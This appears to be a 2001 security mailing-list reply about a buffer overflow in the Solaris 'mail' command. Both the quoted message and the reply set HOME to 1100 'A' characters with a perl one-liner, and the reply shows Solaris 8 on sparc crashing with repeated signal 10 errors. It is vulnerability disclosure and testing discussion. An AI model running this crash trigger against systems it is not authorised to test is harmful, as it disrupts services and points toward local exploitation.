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From: Tohru Watanabe (tohruwheaven.hamline.edu)
Date: Tue Jun 05 2001 - 20:01:23 CDT

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    > > 0:jpmeiersol:~> HOME=`perl -e 'print "A"x1100'` ; export HOME
    > > 0:jpmeiersol:/home/jpmeier> mail a
    > > ^Cmail: Mail saved in dead.letter
    > > 1:jpmeiersol:/home/jpmeier> uname -a
    > > SunOS sol 5.8 Generic_108528-04 sun4u sparc SUNW,Ultra-5_10
    > >
    > >
    > > also tried larger buffers.
    > >
    > >
    > > Solaris/sparc appears not vulnerable. Maybe its an x86 bug only

    It crashed our Solaris 8.

    bash-2.03$ uname -a
    SunOS sunserver 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-60
    bash-2.03$ HOME=`perl -e 'print "A"x1100'`
    bash-2.03$ export HOME
    bash-2.03$ mail a
    ^Cmail: ERROR signal 10
    mail: ERROR signal 10
    mail: ERROR signal 10
    mail: ERROR signal 10
    mail: ERROR signal 10
    mail: ERROR signal 10